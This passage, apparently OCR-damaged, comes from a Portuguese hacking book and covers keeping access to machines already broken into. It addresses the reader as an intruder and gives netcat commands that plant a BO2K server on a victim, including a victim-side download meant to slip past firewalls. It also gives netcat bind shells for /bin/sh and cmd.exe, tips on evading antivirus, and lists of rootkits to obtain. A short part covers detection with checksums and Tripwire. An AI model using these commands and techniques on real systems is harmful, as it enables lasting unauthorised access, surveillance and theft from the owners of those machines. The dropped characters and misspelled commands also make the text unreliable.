editora Makron, za edio em portugus e 4a em ingls), composta de quatro
livros - Hackers Exposed, HE Windows 2k edition, HE Linux edition e HE
Web edition - uma excelente companheira para nossa pequena obra e enfoc
o assunto de maneira diferente. Enquanto tentamos mostrar a mecnica da
coisa, a srie HE oferece um verdadeiro "dicionrio" de ataques. Mas no des-
cuide do Bugtraq!!!
Uma vez dentro dos intestinos de nossa presa, hora de cuidar de manter seu
acesso e, possivelmente, bloquear acesso a outros candidatos a invasor que,
por descuido, podem pr a perder seus meses de estudo e esforo. Cuidemos,
ento, da manuteno de nossa permanncia no seio da vtima por longos anos.
Backdoors
Toda casa possui uma porta de trs (ok, ok, alguns apartamentos mais popula-
res [apertamentos???] possuem apenas uma passagem para acesso ao imvel - e
passa pela sala de estar. Fazer o qu...). Pela porta de trs trazemos a feira, os
empregados da casa tm acesso ao interior para trabalhar, os operrios trazem
ferramentas e material para reformar o banheiro e samos com o cachorro para
passear. , portanto, apropriadamente chamada de porta de servio.
Por outro lado, pela porta da frente recebemos nossas visitas. Se for um im-
vel comercial, por ela tambm que recebemos nossos clientes. A decorao,
os objetos e o prprio espao so diferentes nos ambientes atendidos pelas
duas portas. Portanto, apropriado dizer que ambas as portas possuem fun-
es diferentes, e, portanto, prestam-se a atividades diversas.
Em um sistema computacional, muitas vezes necessrio tambm possuir
vrias formas de acesso. O ambiente operacional que os usurios comuns co-
nhecem desenvolvido de modo a tornar a utilizao do sistema mais fcil e
direta. Por outro lado, devem haver formas de os administradores acessarem os
sistemas tambm e, assim, desempenhar suas tarefas, muitas vezes at simulta-
neamente, sem incomodar o usurio.
3141
Ataque, defesa e contra-ataque: Manuteno
Universidade 3 ano
H diversas maneiras de chegar a isso. Em sistemas Unix, o administrador
pode simplesmente logar-se remotamente como root (via SSH v2, nunca via
Telnet!!!) e fazer o que for preciso. Em sistemas Windows e Macintosh, como
no h essa facilidade por padro, possvel instalar programas que permitem
o mesmo controle. Entre eles, podemos citar CarbonCopy, LapLink, ControlIT,
o SMSda Microsoft e talvez o mais conhecido de todos: o pcAnywhere, da
Symantec. Por meio desses programas, administradores entram pelas "portas
de trs" nos sistemas dos usurios e fazem o que deve ser feito.
H um outro uso para portas de trs em computadores domsticos e estaes de
trabalho corporativas: softwares espies. Existem diversos softwares (como o I
Spy e o WmKeylogger) desenvolvidos para que cnjuges ciumentos, pais extrema-
dos e empresrios paranicos possam vigiar o que suas caras-metade, filhos ou
empregados andam fazendo. Passando longe da discusso sobre os aspectos legais,
morais e ticos envolvidos, podemos afirmar que esses programas tambm abrem
diversas portas de trs nos sistemas em que esto instalados.
A economia de tempo, dinheiro e recursos gerada por essa tecnologia enor-
me. Bom, no? Novamente, nem tanto. Ese hackers mal-intencionados (lembre-
se: hacker no sinnimo de bandido, portanto o qualificador apropriado...)
conseguirem acessar seus sistemas por meio dessas portas de trs? Bem, a
temos um problema.
Portas de trs maliciosas
A soluo radical para o problema exposto acima no usar tais programas
de forma alguma. Uma soluo mais razovel - mas, acredite, muito vulnervel
- aplicar todos os patches de segurana recomendados pelo fabricante, usar
senhas fortes, criptografia etc., ete., etc. (voc j est careca de saber...).
Entretanto, mesmo em sistemas nos quais o administrador no instalou
esse tipo de programa, a ameaa existe. Ao chegar ao fim do captulo ante-
rior estvamos dentro do sistema da vtima, certo? Bem, a primeira coisa a
fazer instalar um ou mais backdoors para podermos entrar novamente no
futuro, pois certamente o dono do sistema ir tampar o buraco por onde
passamos. Adicionalmente, podemos corrigir todas as vulnerabilidades das
mquinas que invadimos, impedindo que kiddies descuidados se denunci-
em e nos levem de embrulho.
J falamos bastante sobre backdoors para Windows nos captulos sobre
Vulnerabilidades. Em Vulnerabilidades I, inclusive, mostramos passo a passo
como configurar um Back Orifice 2000 (ou B02K) para controlar mquinas
alheias. No caso desses pacotes prontos, no h muito mais o que falar: so
peas complexas por seus muitos recursos, mas ao mesmo tempo so uma
grande coleo de rotinas simples. Um programador com conhecimentos de
parcos a moderados em alguma linguagem moderna, como Java, Visual Basic,
1315 I
]Ataque, defesa e contra-ataque: Manuteno
IUniversidade H4CK3RI
C#, C++ ou Objective Pascal (usada no Delphi/Kylix) poderia escrever em pou-
cos dias backdoors to ou mais completos e complexos que o B02K. NetBus,
Sub7,AlienToy... A lista vasta. Mesmo programas de administrao srios (em
tempo: o B02K foi desenvolvido como aplicao sria!) como o pcAnywhere
ou o VNC podem ser usados "para o mal".
Novamente: "At tu, Brutus?"
Alm das ferramentas especficas j exaustivamente descritas ao longo do li-
vro, o prprio sistema operacional prdigo em recursos que podem ser usados
a favor do invasor - e contra o dono da mquina. Como j cansamos de ver,
servidores de Telnet e Ffp podem usados com novas contas, especialmente cria-
das pelo hacker no sistema para posterior invaso (pela porta de frente, hehehe...).
Cada sistema possui sua idiossincrasia e seu conjunto de programas que podem
ser usados para fabricar um backdoor. Alm de nao ser preciso instalar nada,
programas j existentes no computador raramente levantam suspeitas.
Mas h um pequeno utilitrio, presente em todos os Unix e disponvel para a
famlia WinNT, que especialmente interessante para criar backdoors improvi-
sados. Chamado de Netcat (www.atstake.com/researchJtools/network utilities),
permite inmeros truques em redes privadas e na Internet - e pode ser usado
como backdoor tambm!
Apesar de possuir verses para Windows, o nome Netcat veio de seu primo
cat, o comando no Unix para mostrar o contedo de um arquivo no terminal.
Observe:
$ cat Buttix
Hey Beavis, I'm a Unix string!!!
$
O comando cat jogou o contedo do arquivo Buttix na tela do terminal. Da
mesma forma, o comando nc pode jogar, de um lado a outro da conexo (ou
seja, no necessariamente na tela), o que uma determinada porta de um compu-
tador distante est cuspindo na rede.
A sintaxe mais simples nc ip.do.computador.monitorado porta.
Por exemplo, o comando
C:\> NC 192.168.1.11 80
quando emitido em um computador Wmdows, vai conectar-se e monitorar tudo
o que sai pela porta 80 da mquina cujo IP 192.168.1.11. Obviamente, a porta 80
tem de estar aberta, caso contrrio o Netcat abortado. A sintaxe idntica em
uma mquina Unix. Na verdade, ele age como um cliente de mo dupla - recebe e
tambm transmite dados. Nesse mesmo exemplo, ao emitir o comando, nada acon-
tece - o outro lado est esperando por uma ordem. Sabemos que trata-se de um
servidor Web, portanto basta enviar o comando GET (sim, precisa estar tudo em
maisculas). Aps o comando, o cdigo-fonte HTMLda pgina inicial do servidor
H1TP ser mostrado na tela. Pode-se usar o Netcat para conectar a volumes 5MB
1316 1
Ataque, defesa e contra-ataque: Manuteno I
Universidade 3 ano
(porta 139), FfP, Telnet, SMTP... Basta conhecer o protocolo e emitir os comandos
corretos. Para conectar-se a portas UDp' usa-se a opo -u.
O Netcat funciona em dois modos. O modo cliente o que vimos - envia
qualquer coisa colocada em sua entrada para o IP/porta indicado. Se houver
respostas, apresenta-as na tela. Por entrada, entendemos tanto a entrada pa-
dro (o teclado) como qualquer outro programa que esteja acoplado entrada
(poderamos usar pipes - funciona no Windows e no Unix).
H um outro modo, chamado modo servidor. este que nos interessa. O modo
servidor, ao invs de enviar comandos, fica de prontido para receb-Ios e de-
volver o resultado da requisio para a sada padro. Veja o seguinte comando:
C:\> NC -1 -p 80
Nesse caso, o Netcat est agindo como servidor. A opo -1 indica isso. A
opo -p indica a porta a ser usada. Faa uma experincia: em nossa rede de
testes, coloque o comando acima para rodar na mquina Windows. Na mqui-
na Unix, use o comando aterior (nc 192.168.1.1 80). Experimente digitar na
mquina Unix e veja o que acontece na Windows: os caracteres da sua entrada
padro (no caso, o seu teclado) so transferidos para a sada padro (a tela) da
outra mquina. Bacana, n? Mas vamos apimentar um pouco as coisas.
Imagine que voc quer transferir um arquivo do seu computador para o
computador invadido (um B02K, por exemplo). Nada mais simples. O nome
do arquivo server.exe e o endereo IP do computador alvo 192.168.1.1. No
computador da vtima, use o comando
De -1 -p 9999 > server.exe
No do hacker, experimente
De 192.168.1.1 9999 < server.exe
Note os redirecionamentos. No computador da vtima, o caractere ">" indica
redirecionamento para o arquivo server.exe. Todos os dados recebidos sero
copiados para l. No computador do atacante, o caractere "<" indica que todos
os bytes do arquivo server.exe sero mandados para a entrada do Netcat. Quando
o ltimo bit for transmitido, a conexo cai automaticamente. Mesmo sem aces-
so a FTP ou a um compartilhamento do Windows, foi possvel enviar um arqui-
vo para o sistema da vtima. De fato, mesmo com acesso irrestrito a um shell do
sistema, o atacante no tem acesso fsico a disquetes ou drives de CD (o siste-
ma invadido pode estar do outro lado do mundo). Se no houver um meio de
enviar os arquivos via rede como FTP,r-comandos no Unix e compartilhamentos
no Windows, o invasor deve ter um programinha na manga para poder transfe-
ri-Ios. A opo mais direta o bem-amado Netcat.
Invertendo os redirecionamentos, possvel deixar a mquina do atacante
como servidor pronta para "empurrar" o arquivo, e conectar-se a ela pela m-
quina da vtima, que far o download. Avantagem? Bem, a maioria das configu-
raes de firewall iria barrar um arquivo sendo transferido se a origem da
1317I
]Ataque, defesa e contra-ataque: Manuteno
IUniversidade H4CK3RI
conexo vier de fora (ou seja, da mquina do hacker). Invertendo-se os papis,
a mquina da vtima que requisita o arquivo - e o firewall vai alegremente
deixar isso acontecer.
Na mquina do hacker: ne -1 -p 9999 < server. exe
Na mquina da vtima: ne 192 .168 .1.1 9999 > server. exe
A mquina do hacker fica esperando conexes. Quando uma acontece, ele en-
via o arquivo especificado. A conexo foi feita a partir da mquina da vtima. Ela
originou a conexo e comea a receber dados, que so gravados em server.exe.
Mas alm de plantar backdoors, vrus e trojans no sistema invadido, o Netcat
pode ser, ele prprio, um backdoor! A opo -e redireciona tudo o que for
recebido para um comando externo! fcil perceber que, redirecionando para
cmd.exe no Windows ou para /bin/sh no Unix, o Netcat pode nos dar um shell,
que ter os privilgios do usurio, em que o nc foi executado. O comando
completo na mquina da vtima seria:
ne -1 -p 9999 -e /bin/sh
Ou, para sistemas Windows:
NC -1 -p 9999 -e emd.eom
Observe que a opo -e pode vir desabilitada por padro. Pode ser necessrio
compilar o cdigo novamente com a opo GAPING_SECURITY_HOLE(o nome
j diz tudo...) ou baixar um executvel j preparado para tal -
netcat.sourceforge.net uma grande pedida.
H diversos outros usos para o Netcat, como, por exemplo, redirecionamento
de conexes. til para furar flfewalls ou para criar um encadeamento (daisy
chain ou tunneling mode) entre vrios computadores na Internet para fins de
spoofing. Do mesmo modo que no encadeamento de proxies pblicos, podemos
usar o Netcat para montar uma rede de proxies privativos - 15 ou 20 na mesma
linha e com rotas alternativas so aparatos comuns de hackers experientes!
Outro uso muito interessante do Netcat como portscanner improvisado. Esses
e muitos outros destinos podem ser encontrados no excelente white paper de Tom
Armstrong intitulado "Netcat - o canivete suo do TCP/IP" (www.giac.org/
practical/gseclTom Armstrong GSEC.pdf - em ingls). Uma alternativa de res-
peito ao Netcat o CryptCat (www.farm9.com/content/Free Tools/CryptCat).
um done perfeito do Netcat, com a mesma funcionalidade e sintaxe. Mas possui
um diferencial interessante: toda a comunicao criptografada. Mesmo que a
conexo seja descoberta, nunca sabero o que se passa nela.
O Netcat , seguramente, a ferramenta Unix nativa (e muito instalada em
Windows tambm) mais usada como auxiliar por invasores em sistemas alhei-
os. Por ser minscula, facilmente instalada em sistemas que no a possuem.
Mas o Netcat no o nico meio de improvisar backdoors. Fique atento a
quaisquer programas que possam dar acesso a sistemas de arquivos. O
interpretador PerI um deles: com poucas linhas de cdigo possvel montar
um servidor como o Netcat em modo -1e enviar arquivos por ele, por exemplo.
1318 1
Ataque, defesa e contra-ataque: Manuteno[
Universidade 3ano
Vrus e Cavalos de Tria
Apesar de serem dois assuntos j tratados no decorrer do livro, considera-
mos benfico relembrar conceitos importantes.
Mais uma vez, Vrus
No h muito o que falarsobre epidemias virais que j no sejamdo conhecimento
de todos.Vrus so programas que se comportam como seus homnimos biolgicos:
so microscpicos, reproduzem-se sozinhos, consomem recursos computacionais
que no lhes pertence e tm alta capacidade de infeco por contgio.
Apesar de os programas de antivrus classificarem, como vrus, programas
como cavalos de tria, backdoors e (pasmem!) vrus legtimos, as trs categorias
de programas so extremamente diferentes, e poderia-se dizer at complemen-
tares. Os V1fUSno precisam dos trojans como meio de transporte e vetor de
contaminao. Muito menos precisam abrir backdoors para entrar e sair dos
sistemas infectados. Mas, apesar disso, tambm podem utilizar-se deles, caso a
oportunidade aparea.
Um vrus de computador possui objetivos muito claros: infectar o mximo
possvel de sistemas, reproduzir-se rapidamente e opcionalmente consumir
recursos e danificar os sistemas invadidos.
Como so auto-suficientes, foge ao escopo deste livro discorrer a fundo so-
bre eles. Sugerimos ao leitor consultar os sites das grandes produtoras de anti-
vrus para obter informaes atualizadas.
E lembre-se: um vrus pode ser o companheiro para um ataque de DoS...
Como tarefa para casa, pesquise sobre os grandes nomes do mundo viral: Ping-
Pong, Mozart, Michelangelo, Madonna, Chernobyl, Melissa, LoveLetter (conheci-
do no Brasil como I Love You), Nimda, Klez e BugBear. No campo da teoria,
estude sobre programao orientada a objetos (vrus utilizam-se muito dela),
herana, polimorfismo, funes reprodutivas e mtodos de contgio.
Vrus ainda indetectveis!
Tomemos os V1fUSmais conhecidos. O BugBear, por exemplo. A imprensa o
descreve como "a pior ameaa viral de todos os tempos" (assim como fez com
o Klez...) e, no entanto, um V1fUScomum, que usa as mesmas tcnicas ancis
de propagao, infeco, destruio e replicao de outros mais antigos como
o Melissa e que pode ser facilmente detectado por um antivrus atualizado.
Virus mais modernos podem camuflar suas comunicaes com o mundo ex-
terno por meio de chamadas de sistema e comunicao interprocessos (releia
os captulos sobre sistemas operacionais). Eles podem, por exemplo, "pegar
emprestado" os sockets de seu navegador padro para mascarar a comunica-
o. Ou usar seu cliente de e-mail padro (por exemplo, o Outlook Express -
campeo de audincia) para se auto distribuir. Em nenhum dos casos o proces-
1319 I
]Ataque, defesa e contra-ataque: Manuteno
IUniversidade H4CK3RI
so do virus vai aparecer durante a comunicao, e o comando netstat vai reve-
lar apenas uma simples conexo Internet de seu prprio browser. Agora
responda: que fIrewall vai barrar comunicaes H1TP ou SMTPoriginadas no
lado de dentro de sua rede?
O leitor poderia ainda protestar: "mas meu antivirus est atualizadssimo,
como pegaria vrus novos"? A resposta simples: um programa desses detecta
apenas vrus conhecidos. Um simples editor hexadecimal pode alterar deta-
lhes do vrus e torn-Io, novamente, indetectado por um tempo. At que as
empresas que ganham dinheiro com esse tipo de pnico corram para atualizar
seus bancos de dados e at que as pessoas atualizem seus antivrus, o estrago
est feito. Numa estimativa muito tosca, os autores consideram que mais de
90% dos vrus que efetivamente esto solta pelo mundo no so detectados
por nenhum dos programas antivrus existentes no mercado.
Por exemplo, uma das maneiras j bem antigas de confundir um antivrus
comprimir o arquivo executvel do mesmo e adicionar um stub (pequeno pro-
grama no incio do arquivo compactado) que o descomprima na hora da exe-
cuo. Foi uma maneira inteligente de, durante muito tempo, fazer viroses pas-
sarem inclumes pelo corredor polons imposto pelas rotinas dos antivrus.
J h tcnicas modernas de ofuscamento, entretanto, que colocam diversas
camadas de desafIos comprimidos e criptografados, com diversos stubs dife-
rentes e chaves de criptografta distribudas pelo arquivo. Cada vez que exe-
cutado, o antivrus replica-se e se autocriptografa novamente com outras cha-
ves cujos pedaos sero gravados em locais diferentes dentro do arquivo.
Um antivirus, para conseguir simplesmente ler o contedo executvel do
vrus, ter de descascar vrias camadas dessa cebola, descobrir vrias chaves
criptogrftcas embaralhadas no meio dos dados do arquivo e ainda saber quais
tipos de compresso foram usados em cada camada (sim, possvel usar tipos
diferentes de compresso). O que nos leva ao problema principal: depois de
encontrado um vrus desse tipo, sero necessrios vrios dias ou mesmo sema-
nas para quebr-Io. Isso, bvio, ocorrer apenas se o antivrus conseguir de-
terminar se aquilo um vrus, coisa muito difcil de acontecer.
Para mais informaes sobre essas tcnicas de ofuscamento, pesquise na Internet
sobre o DaVinci Group, um cl hacker fechado e que, ao que parece, o nico
detentor dessa tecnologia; embora seja baseada em outras mais antigas que j
esto rodando por a faz muito tempo. uma simples questo de vontade. Quan-
do "cair a fIcha" dos crackers produtores de vrus para a tcnica, a computao
como a conhecemos hoje entrar em colapso.
Indo alm dos Cavalos de Tria
J conversamos rapidamente sobre cavalos de tria no captulo VulnerabilidadesI.
Naquelaocasio, ensinamos como criar um que escondesse o B02K em uma inocente
320 I
Ataque, defesae contra-ataque: Manuteno[
Universidade 3 ano
imagem. Por definio,os cavalos de tria so apenas expedientes utilizadospara fazer
a vtimaacreditar que o arquivo em questo trata-sede algo inofensivoou mesmo um
presente - embora guarde algo danoso em suas entranhas.
Cavalos de tria guardam e transportam qualquer coisa - pode ser um
backdoor (o mais usual), mas tambm pode ser um vrus, um programa inocen-
te ou mesmo outro trojan mais poderoso. Do casamento entre trojans e
backdoors, entretanto, que saem as maiores dores de cabea dos administra-
dores de sistemas e usurios domsticos... Chamados de RATs (Remote
Administration Trojans), podem tomar o controle total do computador da vti-
ma. H milhares de RATsdisponveis ou em desenvolvimento na Internet, espe-
cialmente para Windows. So, em sua maioria, desenvolvidos por kiddies ou
programadores pouco mais que isso, normalmente em Visual Basic ou Delphi.
So realmente brinquedos: embora os usurios comuns sempre caiam nas
armadinlhas deles. Verifique em areyoufearless.com. www.evileyesoftware.com
ou troianforge.net (entre outros) e veja voc mesm02.
Trojans tradicionais como o B02K e assemelhados possuem muitas limitaes.
So aplicaes e, portanto, rodam em User Mode. Enquanto no Windows isso no
problema para o invasor, pois o prprio kernel roda partes de seu cdigo
nesse modo, trojans carregando backdoors no funcionariam bem em outras
plataformas. Em Unices, por exemplo, bem provvel que os usurios sequer
tenham permisso de rodar programas a partir de seus diretrios pessoais.
H um outro problema com os trojans tradicionais: como so aplicativos
estranhos ao sistema, so facilmente detectveis. Mesmo escondendo-se com
nomes insuspeitos entre os arquivos da pasta C\ WINDOWS, ferramentas de
auditoria podem perfeitamente encontr-Ios.
Para combater esse tipo de problema, a seleo natural criou uma especiali-
zao na fauna trojnica: a substituio de programas do sistema por outros
especialmente alterados. Chamados de rootkits, tais programas alteram o fun-
cionamento real de utilitrios de uso freqente, como o Ibin/login em compu-
tadores Unix ou o EXPLORER.EXEem mquinas Windows - Finder no Mac
OS, pconsole no Novel1Netware, etc, etc, etc..-.
Os rootkits mais comuns fazem, basicamente, quatro coisas: a) abrir um
backdoor permanente ou ativado por um cdigo, b) mentir sobre o estado do
sistema, c) apagar ou destruir alguma coisa, d) descobrir senhas e informa-
es sigilosas.
A grande maldade de um rootkit , ento, embutir uma ou mais dessas quatro
fimes em programas existentes. Por exemplo, o j citado Ibin/login em sistemas
Unix. H rootkits que do acesso irrestrito ao sistema caso uma senha pr-programa-
da seja informada. Por exemplo, em um sistema Solaris, a senha do usurio root
@#S2L9*&. uma boa senha, dificil de quebrar ou adivinhar.Entretanto, se o progra-
2. Alis, uma boa idia interromper (novamente) a leitura do livro e brincar longamente com todos
esses trojans e com as informaes e tutoriais presentes nesses sites. Leia os fruns; h threads interessan-
tissimas e esclarecedoras.
1321I
]Ataque, defesa e contra-ataque: Manuteno
I Universidade H4CK3R I
ma /bin/login for substitudo por um rootkit especialmente preparado, qualquer
usurio com a senha especial (que pode ser configurada, por exemplo, para
"xuxubeleza") ganha acesso de root na mquina. Um outro tipo de rootkit conheci-
do que tambm afeta o /bin/login um simples keylogger: guarda em um arquivo as
senhas de todos os usurios que se conectam no sistema. Sujo, no acha?
Um rootkit que afete o Windows Explorer, por outro lado, pode esconder
completamente uma pasta que contenha diversos arquivos pertencentes ao
invasor. Mesmo que a visualizao de arquivos ocultos esteja ligada, esse diretrio
continuar escondido - o rootkit tratar de deix-lo longe dos olhos do usu-
rio. E no gerenciador de tarefas do Windows veremos, simplesmente, uma ins-
tncia do Explorer.
H rootkits diversos que escondem o estado da rede, conexes, sistema de
arquivos e processos sendo rodados, entre outras coisas. Por exemplo, o ifconfig
no Linux poderia mentir sobre o modo promscuo, escondendo o funciona-
mento de um sniffer. O TASKMAN.EXE(Gerenciador de Tarefas) do Windows
poderia esconder processos e servios de trojans, vrus e scanners. Outros ti-
pos de rootkits podem ecoar as comunicaes para o hacker ou dar acesso
contornando a senha do administrador - por exemplo, em servidores SSH,Telnet
ou IIS modificados.
A seguir, fornecemos uma lista (bastante incompleta) de comandos e progra-
mas que podem ser substitudos por rootkits. Existem vrios rootkits para
cada um desses programas, portanto sugiro que o leitor, ao tomar contato com
algo novo, experimente em seu sistema de testes.
Para Unix, os programas mais visados por desenvolvedores de rootkits so:
login, ifconfig (no Linux), du, df, pwd, su, sudo, netstat, nc (sim, o prprio Netcat
pode estar adulterado!), ps, find, slocate, updatedb. Os utilitrios de configura-
o no escapam ilesos a rootkits: SAMno HP-UX,Admintool no Solaris, Smit
noAIX, Linuxconf,Webmin... Mesmo comandos internos de alguns shells - como
ls e cd no Bash - podem ser mascarados com wrappers que escondam arqui-
vos ou mintam sobre seus tamanhos. Uma malvadeza maior instalar verses
rootkit dos shells disponveis (Bash, csh, ksh, etc) ou de servidores como Apache
e mesmo inetd/xinetd para abrir backdoors "sob demanda".
Para Windows a lista parecida. O prprio cmd.com pode ser alterado para
mascarar aes maliciosas em funes internas como o DIR e o CD.Adicional-
mente, muitos dos arquivos do Windows, como os j citados EXPLORER.EXEe
TASKMAN.EXE,podem ser "torcidos". Cuidado ainda com alguns utilitrios
freqentemente usados, como a Calculadora (CALC.EXE), o Bloco de Notas
(NOTEPAD.EXE), o WordPad (WRITE.EXE) e o Editor de Registro
(REGEDIT.EXE).Todos esses programas esto presentes em qualquer verso
do Windows, mesmo em servidores, e podem ser manipulados para funcionar
como rootkits. Ateno especial deve ser dada tambm s DLLs compartilha-
das por muitos aplicativos, especialmente o MFC.DLL.
13221
Ataque, defesa e contra-ataque: Manuteno
Universidade 3 ano
A lista muito mais vasta do que a que mostramos. No caberia aqui elencar
todos os tipos e todos os programas que podem ser alterados por rootkits.
Como sugesto, em Unix pesquise sobre lkr5, utrojan, backdoored sendmail,
tOrnkit, rkssh, APSR, bdoor, wOOwOO, IOgin.kit, bd2, vexed, falcon-ssh, Trojanit,
rootkitSunOS, sol, e Raditz (malvado: substitui o Tripwire!), entre outros.
Esse tipo de rootkit (substituio de programas e utilitrios do sistema)
mais comum em ambientes Unix do que em Windows, embora haja tambm
inmeras ferramentas para o sistema da Microsoft. Para comear, procure por
ads_cat, FakeGINA, fu.ZIp, Xshadow, Hacker Defender, Hacker's Rootkit for
NT, Slanret, Krei, IERK (ierk8243.sys), Backdoor-ALI, Caesar's RegWrite Injector,
null.sys, HE4Root (ou HE4Hook) e IIS injection.
Para saber mais sobre esses rootkits e novas tcnicas sobre o tema, procure
por informaes em www.packetstormsecurity.nl , no www.securityfocus.com,
no www.windowsecurity.com, no site oficial da Microsoft (www.micro
soft.com) e, principalmente, no Google ;-).
There is no spoon
Rootkits no so to fceis de identificar como os cavalos de tria e backdoors
comuns. Um Back Orifice ou um Netcat escutando em uma porta podem ser
facilmente descobertos com um simples netstat. Mas se o netstat estiver
rootldtted, a coisa muda de figura - a informao sobre as portas abertas do
backdoor estariam cobertas. O mesmo ocorre com os processos: um
EXPLORER.EXE modificado ainda assim aparece apenas como Windows
Explorer no Gerenciador de Tarefas.
Entretanto, apesar de mais elaborados, rootkits comuns que alteram a funci-
onalidade de programas ordinrios do sistema operacional podem ser detecta-
dos por caractersticas no bvias, mas, mesmo assim, aparentes. O programa
alterado pode ter sua data de criao diferente das demais. Mesmo que seja
igual, o tamanho pode ser diferente do original, verificado em outras mquinas.
Se o tamanho for igual, seguramente sua estrutura interna no o , e pode ser
comparado byte a byte com a de um sistema so.
Outra alternativa verificar o checksum dos arquivos que compem o pro-
grama. Sistemas Unix normalmente utilizam-se de uma assinatura MD5 para
garantir a idoneidade dos arquivos. Em sistemas Windows, a Microsoft adota
um procedimento semelhante, baseado em esteganografia aplicada ao logotipo
do Windows. Em qualquer dos casos, se a assinatura no bater com a original, o
programa seguramente est adulterado e precisa ser apagado ou substitudo.
Administradores realmente paranicos (e eles no esto errados, longe dis-
so!) instalam controladores de inventrio com verificadores de integridade de
arquivos (como por exemplo, o Tripwire ou o AIDE) em todos os seus compu-
tadores (inclusive estaes de trabalho). Qualquer arquivo que seja alterado
por um rootkit ser detectado na prxima verificao e uma mensagem de
1323 I
I Ataque, defesa e contra-ataque: Manuteno
IUniversidade H4CK3R I
alerta vermelho surgir na tela do administrador.
Para fugir deste cenrio, os hackers criaram uma modalidade de rootkits com
um nvel mais elevado de camuflagem. Desta vez, os arquivos e programas de
sistema ficam intactos: o prprio kernel do sistema operacional substitudo por
outro completamente adulterado. Uma dualidade parecida com a do Super-Ho-
mem e seu antiego, o Bizarro(ahhh, bons tempos em que passava as manhs vendo
os Superamigos...).
J falamos sobre kernel em vrios captulos e mesmo nos apndices. Todo o
processamento do sistema obrigatoriamente passa por ele e, portanto, control-Io
como em uma possesso demonaca algo extremamente poderoso e destrutivo.
Entre as iniqidades que podemos praticar a partir de nossa possesso esto:
~ Camuflagem de arquivos do invasor, exatamente como nos rootkits co-
muns.A diferena que, sendo pelo keme1, tal artifcio praticamente impossvel
de ser contornado ou mesmo descoberto.
~ Camuflagem de conexes de rede. Da mesma forma como fizemos, em
Unix e em Wmdows, com uma verso alterada do comando netstat, um kernel
rootkitted pode tambm esconder conexes especficas. Apenas sniffers rodando
em outras mquinas so capazes de detectar tais conexes.
~ Camuflagem de processos. O kemel gerencia os processos. Oprprio keme1,
ento, que d a lista deles para os programas que os listam (ps no Unix,
Gerenciador de Tarems no Wmdows). Com isso, fica fcil esconder desses pro-
gramas (e, portanto, dos usurios) os processos nocivos que estejam rodando.
~ Redirecionamento. Imagine o seguinte cenrio: um invasor "plantou" pro-
gramas nocivos na pasta C:\WINDOWS\SYSTEM32\em um sistema Windows NT
4. O rootkit no kernel trata de esconder esses programas enquanto mostra normal-
mente todos os outros arquivos da mesma pasta. Um desses arquivos uma cpia
modificada do Windows Explorer (EXPLORER.EXE). Cada vez que o Windows
solicita a execuo de uma nova instncia do Explorer, em vez de abrir o programa
original, o kerne1 vai redirecionar a execuo para o Explorer modificado. Qual-
quer ferramenta de auditoria ir testar a integridade do EXPLORER.EXEoriginal
(armazenado na pasta C:\WINDOWS)e o encontrar intocado.
Usando essas quatro traquinagens, o programador que desenvolveu o rootkit
pode criar duas realidades para o administrador de usurios. Uma, bela e sem
problemas, completamente falsa.A outra, cheia de furos de segurana, portas de
trs e manipulao indevida de documentos e arquivos, a real. Cabe ao adminis-
trador decidir se continua vivendo feliz em sua redoma virtual ou se ingere o
comprimido vermelho.
Alterar um kernel por meio de rootkits fcil e pode ser feito de duas maneiras.
A primeira por meio de patches, e a preferida por hackers que desenvolvem
para Wmdows. Funcionando da mesma maneira que os Hotfixes e Service Packs
da prpria Microsoft, um patch para inserir um rootkit sobrescreve arquivos
inteiros ou parte deles, injetando novas rotinas e desvios e fazendo-os respon-
13241
Ataque, defesa e contra-ataque: Manuteno
Universidade 3 ano
der diferentemente do originalmente previsto. Como o kernel do Windows
composto por algumas dezenas de DLLs acessveis pelos usurios, a tarefa,
apesar de trabalhosa, simples e s vezes sequer necessita ser executada por
um usurio com muitos privilgios sobre o sistema. Como toda instalao em
um sistema Windows, aps a aplicao do patch o sistema deve ser reiniciado
- mas isso pode ser feito pelo prpro invasor e em mais de 90% dos casos tal
anomalia ser considerada pelo administrador da mquina como "apenas mais
um pau no Windows".
A outra maneira, mais apreciada pelos amantes do Unix, funciona por meio
de Mdulos Carregveis do Kernel (Loadable Kernel Modules ou LKM). Se o
leitor no pulou os importantes captulos sobre sistemas operacionais, deve
lembrar-se de que, ao contrrio do microkernel do Windows, os Unix em geral
so monolticos. Um nico mamutesco e por vezes criptografado arquivo en-.
globa o ncleo central e a maioria dos drivers de dispositivo do sistema.
medida que os sistemas Unix iam evoluindo, percebeu-se que a poltica de
kernels monolticos deveria ser "flexibilizada", caso contrrio teramos siste-
mas cujo ncleo residiria num arquivo de dezenas ou mesmo centenas de
megabytes contendo milhares de drivers para hardware que nunca vamos ad-
quirir. Por isso, os kernels passaram a ser modulares: um ncleo base (longe de
ser um microkernel) seria carregado primeiro, e os demais drivers apenas seri-
am carregados se o hardware fosse solicitado. Esses drivers (e alguns progra-
mas e utilitrios que rodam em modo kernel) residem em LKMs. fcil notar
que possvel alterar o comportamento do kernel com mdulos carregados
muito depois do boot. Um LKMpode inclusive ser carregado sob demanda,
automaticamente ou a partir de um comando emitido remotamente pelo inva-
sor atravs de um backdoor comum.
Pesquise sobre os LKMrootkits de seu sistema operacional e, preferencial-
mente teste todos os que encontrar (em nossa rede de testes e no em ambien-
te de produo!!!). Relacionamos alguns mais famosos (ou informaes para
entender LKMs nas diversas plataformas), mas intencionalmente no coloca-
mos os mais recentes para acostum-Io a procurar.
Para Windows (9x e NT): www.rootkit.com (passagem obrigatria).
Para Linux: Adore, Carogna (prOgeto CarOnte), Knark, phide, heroine.c,
spooflkm, suidshow.c, kinsmod, Rial, THC Backdoor (lkm), kernel.keylogger,
SucKlT, 1kminject;
Para Solaris: Plasmoid, slkm, ksolaris, THC Backdoor (1km);
Para FreeBSD:AdoreBSD, ipfhack, lbk, THC Backdoor (lkm);
Para OpenBSD: AdoreBSD, obsd_ipfhack, THC Backdoor (lkm);
Para Windows 9x (veja s!): Burning Chome.
Como ltima dica, leia estes white papers:
~ www.wOOwOO.org/files/articles/lkmhack.txt;
~ packetstormsecurity.nl/docs/hack!LKM HACKlNG.html;
~ packetstormsecurity.nl/Win/vxd. txt.
1325 1
I Ataque, defesa e contra-ataque: Manuteno
I Universidade H4CK3R I
Comunicaco sem conexes
I
Tudo isso muito bom, tudo isso muito bonito, mas qualquer servidor - seja
ele HTTP,SMTP,Finger ou mesmo um backdoor embutido no kernel - precisa
de sockets para se conectar. Como vimos, um socket , grosso modo, um trio
IP/Porta/Protocolo. Portanto, para me conectar a um servio qualquer (um
servidor SSH, por exemplo), tenho de criar uma conexo entre o meu cliente
